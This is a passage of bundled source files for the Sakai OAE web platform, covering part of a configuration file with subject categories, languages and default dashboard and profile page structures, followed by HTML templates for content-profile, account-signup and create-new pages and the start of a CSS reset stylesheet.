  fineart: {\n                        title: \"__MSG__FINE_ART__\"\n                    },\n                    designstudies: {\n                        title: \"__MSG__DESIGN_STUDIES__\"\n                    },\n                    music: {\n                        title: \"__MSG__MUSIC__\"\n                    },\n                    drama: {\n                        title: \"__MSG__DRAMA__\"\n                    },\n                    dance: {\n                        title: \"__MSG__DANCE__\"\n                    },\n                    cinematicsandphotography: {\n                        title: \"__MSG__CINEMATICS_PHOTOGRAPHY__\"\n                    },\n                    crafts: {\n                        title: \"__MSG__CRAFTS__\"\n                    },\n                    imaginativewriting: {\n                        title: \"__MSG__IMAGINITIVE_WRITING__\"\n                    },\n                    othersincreativeartsanddesign: {\n                        title: \"__MSG__CREATIVE_ARTS_OTHER__\"\n                    }\n                }\n            },\n            education: {\n                title: \"__MSG__EDUCATION__\",\n                children: {\n                    trainingteachers: {\n                        title: \"__MSG__TRAINING_TEACHERS__\"\n                    },\n                    researchandstudyskillsineducation: {\n                        title: \"__MSG__EDUCATION_RESEARCH_STUDY_SKILLS__\"\n                    },\n                    academicstudiesineducation: {\n                        title: \"__MSG__EDUCATION_ACADEMIC_STUDIES__\"\n                    },\n                    othersineducation: {\n                        title: \"__MSG__EDUCATION_OTHER__\"\n                    }\n                }\n            }\n        },\n\n        // Array of css files to load in each page\n        skinCSS: [],\n\n        Languages: [{\n            \"country\": \"CN\",\n            \"language\": \"zh\",\n            \"displayName\": \"\u4e2d\u6587\"\n        }, {\n            \"country\": \"NL\",\n            \"language\": \"nl\",\n            \"displayName\": \"Nederlands\"\n        }, {\n            \"country\": \"GB\",\n            \"language\": \"en\",\n            \"displayName\": \"English (United Kingdom)\"\n        }, {\n            \"country\": \"US\",\n            \"language\": \"en\",\n            \"displayName\": \"English (United States)\"\n        }, {\n            \"country\": \"JP\",\n            \"language\": \"ja\",\n            \"displayName\": \"\u65e5\u672c\u8a9e\"\n        }, {\n            \"country\": \"HU\",\n            \"language\": \"hu\",\n            \"displayName\": \"Magyar\"\n        }, {\n            \"country\": \"KR\",\n            \"language\": \"ko\",\n            \"displayName\": \"\ud55c\uad6d\uc5b4\"\n        }],\n\n        // Default Language for the deployment, must be one of the language_COUNTRY pairs that exists above\n        defaultLanguage: \"en_US\",\n\n        enableChat: false,\n        enableCategories: true,\n\n        Editor: {\n            tinymceLanguagePacks: ['ar','ch','en','gl','id','lb','nb','ru','sv','uk','az','cn','eo','gu','is','lt','nl',\n                'sc','ta','ur','be','cs','es','he','it','lv','nn','se','te','vi','bg','cy','et','hi','ja','mk','no','si',\n                'th','zh-cn','bn','da','eu','hr','ka','ml','pl','sk','tn','zh-tw','br','de','fa','hu','kl','mn','ps','sl',\n                'tr','zh','bs','dv','fi','hy','km','ms','pt','sq','tt','zu','ca','el','fr','ia','ko','my','ro','sr','tw']\n        },\n\n        defaultSakaiDocContent: \"\",\n\n        /*\n         * _canEdit: can change the area permissions on this page\n         * _reorderOnly: can reorder this item in the navigation, but cannot edit the name of the page\n         * _nonEditable: cannot edit the contents of this page\n         * _canSubedit:\n         */\n\n        defaultprivstructure: {\n            \"structure0\": {\n                \"dashboard\": {\n                    \"_ref\": \"${refid}0\",\n                    \"_title\": \"__MSG__MY_DASHBOARD__\",\n                    \"_order\": 0,\n                    \"_canEdit\": true,\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true,\n                    \"main\": {\n                        \"_ref\": \"${refid}0\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__MY_DASHBOARD__\"\n                    }\n                },\n                \"messages\": {\n                    \"_title\": \"__MSG__MY_MESSAGES__\",\n                    \"_ref\": \"${refid}1\",\n                    \"_order\": 1,\n                    \"_canEdit\": true,\n                    \"_reorderOnly\": true,\n                    \"_canSubedit\": true,\n                    \"_nonEditable\": true,\n                    \"inbox\": {\n                        \"_ref\": \"${refid}1\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__INBOX__\",\n                        \"_nonEditable\": true\n                    },\n                    \"invitations\": {\n                        \"_ref\": \"${refid}2\",\n                        \"_order\": 1,\n                        \"_title\": \"__MSG__INVITATIONS__\",\n                        \"_nonEditable\": true\n                    },\n                    \"sent\": {\n                        \"_ref\": \"${refid}3\",\n                        \"_order\": 2,\n                        \"_title\": \"__MSG__SENT__\",\n                        \"_nonEditable\": true\n                    },\n                    \"trash\": {\n                        \"_ref\": \"${refid}4\",\n                        \"_order\": 3,\n                        \"_title\": \"__MSG__TRASH__\",\n                        \"_nonEditable\": true\n                    }\n                }\n            },\n            \"${refid}0\": {\n                \"page\": \"<div class='fl-force-right'><button type='button' class='s3d-button s3d-margin\"+\n                \"-top-5 s3d-header-button s3d-header-smaller-button dashboard_change_layout' dat\"+\n                \"a-tuid='${refid}5'>__MSG__EDIT_LAYOUT__</button><button type='button' class='s3d-button \"+\n                \"s3d-margin-top-5 s3d-header-button s3d-header-smaller-button dashboard_global_a\"+\n                \"dd_widget' data-tuid='${refid}5'>__MSG__ADD_WIDGET__</button></div><div class='s3d-conte\"+\n                \"ntpage-title'>__MSG__MY_DASHBOARD__</div><div id='widget_carousel' class='widget_inline'\"+\n                \"></div><br/><div id='widget_dashboard_${refid}5' class='widget_inline'></div>\"\n            },\n            \"${refid}1\": {\n                \"page\": \"<div id='widget_inbox_${refid}6' class='widget_inline'/>\"\n            },\n            \"${refid}2\": {\n                \"page\": \"<div id='widget_inbox_${refid}7' class='widget_inline'/>\"\n            },\n            \"${refid}3\": {\n                \"page\": \"<div id='widget_inbox_${refid}8' class='widget_inline'/>\"\n            },\n            \"${refid}4\": {\n                \"page\": \"<div id='widget_inbox_${refid}9' class='widget_inline'/>\"\n            },\n            \"${refid}5\": {\n                \"dashboard\": {\n                    \"layout\": \"threecolumn\",\n                    \"columns\": {\n                        \"column1\": [{\n                            \"uid\": \"${refid}10\",\n                            \"visible\": \"block\",\n                            \"name\": \"recentchangedcontent\"\n                        }],\n                        \"column2\": [{\n                            \"uid\": \"${refid}11\",\n                            \"visible\": \"block\",\n                            \"name\": \"recentmemberships\"\n                        }],\n                        \"column3\": [{\n                            \"uid\": \"${refid}12\",\n                            \"visible\": \"block\",\n                            \"name\": \"recentcontactsnew\"\n                        }]\n                    }\n                }\n            },\n            \"${refid}6\": {\n                \"box\": \"inbox\",\n                \"category\": \"message\",\n                \"title\": \"__MSG__INBOX__\"\n            },\n            \"${refid}7\": {\n                \"box\": \"inbox\",\n                \"category\": \"invitation\",\n                \"title\": \"__MSG__INVITATIONS__\"\n            },\n            \"${refid}8\": {\n                \"box\": \"outbox\",\n                \"category\": \"*\",\n                \"title\": \"__MSG__SENT__\"\n            },\n            \"${refid}9\": {\n                \"box\": \"trash\",\n                \"category\": \"*\",\n                \"title\": \"__MSG__TRASH__\"\n            }\n        },\n\n        /**\n         * In order to set permissions on specific private areas, the following parameter should be added:\n         *   _view: \"anonymous\" // Area is visible to all users by default\n         *   _view: \"everyone\" // Area is visible to all logged in users by default\n         *   _view: \"contacts\" // Area is visible to all contacts by default\n         *   _view: \"private\" // Area is not visible to other users by default\n         */\n        defaultpubstructure: {\n            \"structure0\": {\n                \"profile\": {\n                    \"_title\": \"__MSG__MY_PROFILE__\",\n                    \"_altTitle\": \"__MSG__MY_PROFILE_OTHER__\",\n                    \"_order\": 0,\n                    \"_view\": \"anonymous\",\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true\n                },\n                \"library\": {\n                    \"_ref\": \"${refid}0\",\n                    \"_order\": 1,\n                    \"_title\": \"__MSG__MY_LIBRARY__\",\n                    \"_altTitle\": \"__MSG__MY_LIBRARY_OTHER__\",\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true,\n                    \"_view\": \"anonymous\",\n                    \"main\": {\n                        \"_ref\": \"${refid}0\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__MY_LIBRARY__\"\n                    }\n                },\n                \"memberships\": {\n                    \"_title\": \"__MSG__MY_MEMBERSHIPS__\",\n                    \"_order\": 2,\n                    \"_ref\": \"${refid}1\",\n                    \"_altTitle\": \"__MSG__MY_MEMBERSHIPS_OTHER__\",\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true,\n                    \"_view\": \"anonymous\",\n                    \"main\": {\n                        \"_ref\": \"${refid}1\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__MY_MEMBERSHIPS__\"\n                    }\n                },\n                \"contacts\": {\n                    \"_title\": \"__MSG__MY_CONTACTS__\",\n                    \"_order\": 3,\n                    \"_ref\": \"${refid}2\",\n                    \"_altTitle\": \"__MSG__MY_CONTACTS_OTHER__\",\n                    \"_reorderOnly\": true,\n                    \"_nonEditable\": true,\n                    \"_view\": \"anonymous\",\n                    \"main\": {\n                        \"_ref\": \"${refid}2\",\n                        \"_order\": 0,\n                        \"_title\": \"__MSG__MY_CONTACTS__\"\n                    }\n                }\n            },\n            \"${refid}0\": {\n                \"page\": \"<div id='widget_mylibrary' class='widget_inline'></div>\"\n            },\n            \"${refid}1\": {\n                \"page\": \"<div id='widget_joinrequestbuttons' class='widget_inline'></div> \" +\n                    \"<div id='widget_tooltip' class='widget_inline'></div> \" +\n                    \"<div id='widget_mymemberships' class='widget_inline'></div>\"\n            },\n            \"${refid}2\": {\n                \"page\": \"<div id='widget_contacts' class='widget_inline'></div>\"\n            }\n        },\n\n        widgets: {\n            \"layouts\": {\n                \"onecolumn\": {\n                    \"name\": \"One column\",\n                    \"widths\": [100],\n                    \"siteportal\": true\n                },\n                \"dev\": {\n                    \"name\": \"Dev Layout\",\n                    \"widths\": [50, 50],\n                    \"siteportal\": true\n                },\n                \"threecolumn\": {\n                    \"name\": \"Three equal columns\",\n                    \"widths\": [33, 33, 33],\n                    \"siteportal\": false\n                }\n            },\n            \"defaults\": {\n                \"personalportal\": {\n                    \"layout\": \"dev\",\n                    \"columns\": [[\"mygroups\", \"mycontacts\"], [\"mycontent\", \"recentmessages\"]]\n                }\n            }\n        }\n    };\n\n    return config;\n});\n", "dev/content_profile.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.content_profile.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"back_to_collection_container\" style=\"display:none;\">\n                        <a href=\"javascript:;\" class=\"s3d-button s3d-header-button\" title=\"__MSG__BACK__\" id=\"back_to_collection_button\"><span id=\"collection_title\"></span>&#9664; __MSG__BACK__</a>\n                    </div>\n                    <div id=\"widget_entity\" class=\"widget_inline\"></div>\n                    <div id=\"widget_uploadnewversion\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div id=\"content_profile_main_container\" class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n                <div class=\"s3d-page-column-left\" id=\"content_profile_left_column\" style=\"display:none;\">\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                </div>\n                <div id=\"content_profile_right_container\" class=\"s3d-page-main-content s3d-page-fullcolumn-padding\">\n                    <div id=\"content_profile_sakaidoc_container\" style=\"display:none\">\n                        <div id=\"s3d-page-main-content\"></div>\n                    </div>\n\n                    <div id=\"content_profile_preview_container\">\n                        <div id=\"content_profile_preview_versions_container\" style=\"display:none\">\n                            <div id=\"widget_versions\" class=\"widget_inline\"></div>\n                        </div>\n                        <div id=\"widget_contentpreview\" class=\"widget_inline\"></div>\n                    </div>\n                    <div id=\"content_profile_right_metacomments\" class=\"fl-container-650 fl-force-left content_profile_left_column;\" style=\"padding-left: 5px;\">\n                        <div id=\"widget_contentmetadata\" class=\"widget_inline\"></div>\n                        <div id=\"widget_contentcomments\" class=\"widget_inline\"></div>\n                    </div>\n                    <div class=\"fl-container-250 fl-force-right\" style=\"width:245px;\">\n                        <div id=\"widget_relatedcontent\" class=\"widget_inline\"></div>\n                    </div>\n                    <div class=\"s3d-bottom-spacer\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- DELETE CONTENT WIDGET -->\n        <div id=\"widget_deletecontent\" class=\"widget_inline\"></div>\n\n        <!-- TOOLTIP WIDGET -->\n        <div id=\"widget_tooltip\" class=\"widget_inline\"></div>\n\n        <div id=\"content_profile_listpeople_container\" class=\"testing fl-fix fl-centered fixed-container s3d-main-container\" style=\"display:none;\">\n            <!-- PICKERUSER WIDGET -->\n            <div id=\"widget_contentpermissions\" class=\"widget_inline\"></div>\n\n            <span style=\"display:none;\" id=\"content_profile_text\">__MSG__CONTENT_PROFILE__</span>\n            <span style=\"display:none;\" id=\"content_profile_users_added_text\">__MSG__THE_FILE_HAS_BEEN_SUCCESSFULLY_SHARED_WITH__</span>\n            <span style=\"display:none;\" id=\"content_profile_users_removed_text\">__MSG__ALL_SELECTED_USERS_AND_GROUPS_HAVE_BEEN_REMOVED_FROM__</span>\n            <span style=\"display:none;\" id=\"content_profile_viewers_text\">__MSG__VIEWERS__</span>\n            <span style=\"display:none;\" id=\"content_profile_managers_text\">__MSG__MANAGERS__</span>\n            <span style=\"display:none;\" id=\"content_profile_cannot_remove_everyone\">__MSG__CONTENT_CANNOT_REMOVE_ALL_MANAGERS__</span>\n\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script src=\"/dev/lib/tinymce/tiny_mce_src.js\" language=\"JavaScript\" type=\"text/javascript\"></script>\n\n        <!-- Page JS -->\n        <script>require([\"/dev/javascript/content_profile.js\"]);</script>\n\t\t\n\t</body>\n</html>\n", "dev/create_new_account.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.create_new_account.css\" />\n\n    </head>\n    <body class=\"fl-centered create_account show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n                <div class=\"s3d-page-fullcolumn-padding\">\n                    <div id=\"signup_header\">\n                        <div id=\"signup_descriptionbox_left\" class=\"signup_descriptionbox\">__MSG__SIGN_UP_MESSAGE_1__</div>\n                        <div id=\"signup_descriptionbox_right\" class=\"signup_descriptionbox\">__MSG__SIGN_UP_MESSAGE_2__</div>\n                        <div id=\"signup_descriptionbox_middle\" class=\"signup_descriptionbox\">__MSG__SIGN_UP_MESSAGE_3__</div>\n                    </div>\n                    <div id=\"signup_header_bg\">\n                        <form id=\"create_account_form\">\n                            <div id=\"signup_form_container\">\n                                <div id=\"signup_form_shadow\"></div>\n                                <h1 class=\"signup_header\">__MSG__CREATE_A_NEW_ACCOUNT__</h1>\n                                <div class=\"signup_form_column\">\n                                    <div class=\"s3d-form-field-wrapper\">\n                                        <label for=\"firstName\" class=\"firstName s3d-input-label\">__MSG__FIRSTNAME__:</label>\n                                        <input type=\"text\" maxlength=\"255\" id=\"firstName\" name=\"firstName\" class=\"create_account_input required\" placeholder=\"Hiroyuki\"/>\n                                        <label for=\"lastName\" class=\"lastName s3d-input-label\">__MSG__LASTNAME__:</label>\n                                        <input type=\"text\" maxlength=\"255\" id=\"lastName\" name=\"lastName\" class=\"create_account_input required\" placeholder=\"Sakai\"/>\n                                        <label for=\"email\" class=\"email s3d-input-label\">__MSG__EMAIL__:</label>\n                                        <input type=\"text\" maxlength=\"255\" id=\"email\" name=\"email\" class=\"create_account_input required email\" placeholder=\"hiroyuki.sakai@example.com\"/>\n                                    </div>\n                                </div>\n\n                                <div class=\"signup_form_column\">\n                                    <div class=\"s3d-form-field-wrapper\">\n                                        <label id=\"username_label\" class=\"username s3d-input-label\" for=\"username\">__MSG__USERNAME__:</label>\n                                        <input type=\"text\" maxlength=\"255\" id=\"username\" name=\"username\" class=\"username_unavailable_icon create_account_input required\" placeholder=\"Hiroyuki\"/>\n                                        <label for=\"password\" class=\"password s3d-input-label\">__MSG__PASSWORD__:</label>\n                                        <input type=\"password\" maxlength=\"255\" id=\"password\" name=\"password\" class=\"create_account_input required\" placeholder=\"&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;\"/>\n                                        <label for=\"password_repeat\" class=\"password_repeat s3d-input-label\">__MSG__RE_TYPE_PASSWORD__:</label>\n                                        <input type=\"password\" maxlength=\"255\" id=\"password_repeat\" name=\"password_repeat\" class=\"create_account_input required\" placeholder=\"&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;&#8226;\"/>\n                                    </div>\n                                </div>\n                                <div class=\"captcha_container\" id=\"captcha_box\">\n                                    <div id=\"widget_captcha\" class=\"widget_inline\"></div>\n                                    <button id=\"save_account\" class=\"s3d-button s3d-large-button\" type=\"submit\">__MSG__CREATE_ACCOUNT__</button>\n                                </div>\n                            </div>\n                        </form>\n                    </div>\n\n                    <div id=\"firstName_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_YOUR_FIRST_NAME__</div>\n                    <div id=\"lastName_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_YOUR_LAST_NAME__</div>\n                    <div id=\"email_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_A_VALID_EMAIL_ADDRESS__</div>\n                    <div id=\"email_invalid\" style=\"display:none;\">__MSG__THIS_IS_AN_INVALID_EMAIL_ADDRESS__</div>\n                    <div id=\"username_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_YOUR_USERNAME__</div>\n                    <div id=\"username_short\" style=\"display:none;\">__MSG__THE_USERNAME_SHOULD_BE_AT_LEAST_THREE_CHARACTERS_LONG__</div>\n                    <div id=\"username_spaces\" style=\"display:none;\">__MSG__THE_USERNAME_SHOULDNT_CONTAIN_SPACES__</div>\n                    <div id=\"password_empty\" style=\"display:none;\">__MSG__PLEASE_ENTER_YOUR_PASSWORD__</div>\n                    <div id=\"password_short\" style=\"display:none;\">__MSG__YOUR_PASSWORD_SHOULD_BE_AT_LEAST_FOUR_CHARACTERS_LONG__</div>\n                    <div id=\"password_repeat_empty\" style=\"display:none;\">__MSG__PLEASE_REPEART_YOUR_PASSWORD__</div>\n                    <div id=\"password_repeat_nomatch\" style=\"display:none;\">__MSG__THIS_PASSWORD_DOES_NOT_MATCH_THE_FIRST_ONE__</div>\n\n                    <div class=\"signup_comment_box\">\n                        <div class=\"signup_comment_box_arrow_down\"><!----></div>\n                        <div class=\"signup_comment_icon signup_comment_icon_personalspace\"><!----></div>\n                        <div class=\"signup_comment_box_commenter\">__MSG__SIGN_UP_RECOMMEND_NAME_1__,<br/>__MSG__SIGN_UP_RECOMMEND_INSTITUTION_NYU__</div>\n                        <span class=\"signup_comment_quote\">&quot;__MSG__SIGN_UP_RECOMMEND_MESSAGE_1__&quot;</span>\n                    </div>\n                    <div class=\"signup_comment_box\">\n                        <div class=\"signup_comment_box_arrow_down\"><!----></div>\n                        <div class=\"signup_comment_icon signup_comment_icon_cohere\"><!----></div>\n                        <div class=\"signup_comment_box_commenter\">__MSG__SIGN_UP_RECOMMEND_NAME_2__,<br/>__MSG__SIGN_UP_RECOMMEND_INSTITUTION_NYU__</div>\n                        <span class=\"signup_comment_quote\">&quot;__MSG__SIGN_UP_RECOMMEND_MESSAGE_2__&quot;</span>\n                    </div>\n                    <div class=\"signup_comment_box last\">\n                        <div class=\"signup_comment_box_arrow_down\"><!----></div>\n                        <div class=\"signup_comment_icon signup_comment_icon_editable\"><!----></div>\n                        <div class=\"signup_comment_box_commenter\">__MSG__SIGN_UP_RECOMMEND_NAME_3__,<br/>__MSG__SIGN_UP_RECOMMEND_INSTITUTION_NYU__</div>\n                        <span class=\"signup_comment_quote\">&quot;__MSG__SIGN_UP_RECOMMEND_MESSAGE_3__&quot;</span>\n                    </div>\n                    <h2>__MSG__INSTITUTIONS_USING_SAKAI__</h2>\n                    <ul id=\"signup_institution_logos\">\n                        <li><img src=\"/dev/images/logo_inst_nyu.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_NYU__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_stanford.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_STANFORD__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_cambridge.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_CAMBRIDGE__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_yale.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_YALE__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_csu.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_CSU__\"></li>\n                        <li><img src=\"/dev/images/logo_inst_oxford.png\" alt=\"__MSG__SIGN_UP_RECOMMEND_INSTITUTION_OXFORD__\"></li>\n                    </ul>\n                </div>\n                <div class=\"fl-push fl-widget\"><!-- --></div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script>require([\"/dev/javascript/createnewaccount.js\", \"//www.google.com/recaptcha/api/js/recaptcha_ajax.js\"]);</script>\n\n    </body>\n</html>", "dev/createnew.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.createnew.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header collection_modified\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container s3d-twocolumn\">\n                <div class=\"s3d-page-column-left\">\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                </div>\n                <div class=\"s3d-page-column-right\">\n                    <div id=\"s3d-page-main-content\" class=\"s3d-page-content-padding\">\n                </div>\n                <div class=\"s3d-bottom-spacer\"></div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        \n        <!-- GROUP JS -->\n        <script>require([\"/dev/javascript/createnew.js\"]);</script>\n        \n    </body>\n</html>\n", "dev/css/FSS/fss-base.css": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\n/* Fluid Base \n * combination of Fluid FSS files from:\n * http://fluidproject.org/releases/1.1.2/infusion-1.1.2.zip\n * version: Infusion 1.1.2\n * \n * Concatenated files contained here:\n *  fss-reset.css\n *  fss-layout.css\n *  fss-text.css\n *  \n *  Based on version: 2.5.2 of the Yahoo CSS reset, font, and base\n *  Copyright (c) 2008, Yahoo! Inc. All rights reserved.\n *  Code licensed under the BSD License:\n *  http://developer.yahoo.net/yui/license.txt\n *  \n *  Please see these files in: http://fluidproject.org/releases/1.1.2/infusion-1.1.2-src.zip \n *  for usage and full license information\n */\n\n/* Fluid Reset: \n * fss-reset.css \n */\n\ntable{font-size:inherit;font:100%;}\npre,code,kbd,samp,tt{font-family:monospace;*font-size:108%;line-height:100%;}\nhtml{color:#000;background:#FFF;}\nbody,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{margin:0;padding:0;}\nfieldset,img{border:0;}\naddress,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal;}\nli{list-style:none;}\ncaption,th{text-align:left;}\nh1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal;}\nq:before,q:after{content:'';}\nabbr,acronym{border:0;font-variant:normal;}\nsup{vertical-align:text-top;}\nsub{vertical-align:text-bottom;}\nlegend{color:#000;}\nh1{font-size:138.5%;}\nh2{font-size:123.1%;}\nh3{font-size:108%;}\nh1,h2,h3{margin:1em 0;}\nh1,h2,h3,h4,h5,h6,strong{font-weight:bold;}\nabbr,acronym{border-bottom:1px dotted #000;cursor:help;}\nem{font-style:italic;}\nblockquote,ul,ol,dl{margin:1em;}\nol,ul,dl{margin-left:2em;}\nol li{list-style:decimal outside;}\nul li{list-style:disc outside;}\ndl dd{margin-left:1em;}\nth{font-weight:bold;text-align:center;}\ncaption{margin-bottom:.5em;text-align:center;}\np,fieldset,table,pre{margin-bottom:1em;}\ninput[type=text],input[type=password],textarea{width:12.25em;*width:11.9em;}\ninput,textarea,select{font-family:inherit;font-size:inherit;font-weight:inherit;}\nhtml{overflow:auto;font:13px/1.231 arial,helvetica,clean,sans-serif;*font-size:small;}\ninput,textarea,select{*font-size:100%;*font-family:sans-serif;}\ninput{*overflow:visible;*padding:0 1em;}\n:focus{outline:2px solid black;}\n\n/* Fluid Layout: \n * fss-layout.css \n */\n\n.fl-fix{overflow:auto;zoom:1;}\n.fl-push{clear:both;}\n.fl-hidden{visibility:hidden;margin:0;}\n.fl-force-right{float:right;display:inline;}\n.fl-force-left{float:left;display:inline;}\n.fl-centered{margin-left:auto;margin-right:auto;display:block;}\n.fl-container-50{width:50px;}\n.fl-container-100{width:100px;}\n.fl-container-150{width:150px;}\n.fl-container-200{width:200px;}\n.fl-container-250{width:250px;}\n.fl-container-300{width:300px;}\n.fl-container-350{width:350px;}\n.fl-container-400{width:400px;}\n.fl-container-450{width:450px;}\n.fl-container-500{width:500px;}\n.fl-container-550{width:550px;}\n.fl-container-600{width:600px;}\n.fl-container-650{width:650px;}\n.fl-container-700{width:700px;}\n.fl-container-750{width:750px;}\n.fl-container-800{width:800px;}\n.fl-container-850{width:850px;}\n.fl-container-900{width:900px;}\n.fl-container-950{width:950px;}\n.fl-container-1000{width:1000px;}\n.fl-container-auto{width:auto;}\n.fl-container-flex{width:100%;clear:both;}\n.fl-container-flex10{width:10%;}\n.fl-container-flex20{width:20%;}\n.fl-container-flex25{width:25%;}\n.fl-container-flex30{width:30%;}\n.fl-container-flex33{width:33%;}\n.fl-container-flex40{width:40%;}\n.fl-container-flex50{width:50%;}\n.fl-container-flex60{w